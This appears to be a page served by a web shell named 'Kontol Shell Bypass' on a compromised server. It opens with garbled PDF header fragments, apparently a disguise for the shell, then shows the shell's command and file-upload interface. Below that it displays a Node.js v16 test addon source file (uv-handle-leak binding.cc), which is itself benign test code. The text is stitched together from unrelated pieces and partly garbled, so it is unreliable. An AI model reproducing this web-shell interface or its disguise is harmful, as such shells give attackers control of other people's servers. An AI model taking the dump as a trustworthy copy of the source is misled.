%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/addons/uv-handle-leak/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/addons/uv-handle-leak/binding.cc
#include <node.h>
#include <v8.h>
#include <uv.h>

using v8::Context;
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::Value;

// Give these things names in the public namespace so that we can see
// them show up in symbol dumps.
void CloseCallback(uv_handle_t* handle) {}

class ExampleOwnerClass {
 public:
  virtual ~ExampleOwnerClass();
};

// Do not inline this into the class, because that may remove the virtual
// table when LTO is used, and with it the symbol for which we grep the process
// output in test/abort/test-addon-uv-handle-leak.
// When the destructor is not inlined, the compiler will have to assume that it,
// and the vtable, is part of what this compilation unit exports, and keep them.
ExampleOwnerClass::~ExampleOwnerClass() {}

ExampleOwnerClass example_instance;

void LeakHandle(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
  Local<Context> context = isolate->GetCurrentContext();
  uv_loop_t* loop = node::GetCurrentEventLoop(isolate);
  assert(loop != nullptr);

  uv_timer_t* leaked_timer = new uv_timer_t;
  leaked_timer->close_cb = CloseCallback;

  if (args[0]->IsNumber()) {
    leaked_timer->data =
        reinterpret_cast<void*>(args[0]->IntegerValue(context).FromJust());
  } else {
    leaked_timer->data = &example_instance;
  }

  uv_timer_init(loop, leaked_timer);
  uv_timer_start(leaked_timer, [](uv_timer_t*){}, 1000, 1000);
  uv_unref(reinterpret_cast<uv_handle_t*>(leaked_timer));
}

// This module gets loaded multiple times in some tests so it must support that.
NODE_MODULE_INIT(/*exports, module, context*/) {
  NODE_SET_METHOD(exports, "leakHandle", LeakHandle);
}

Kontol Shell Bypass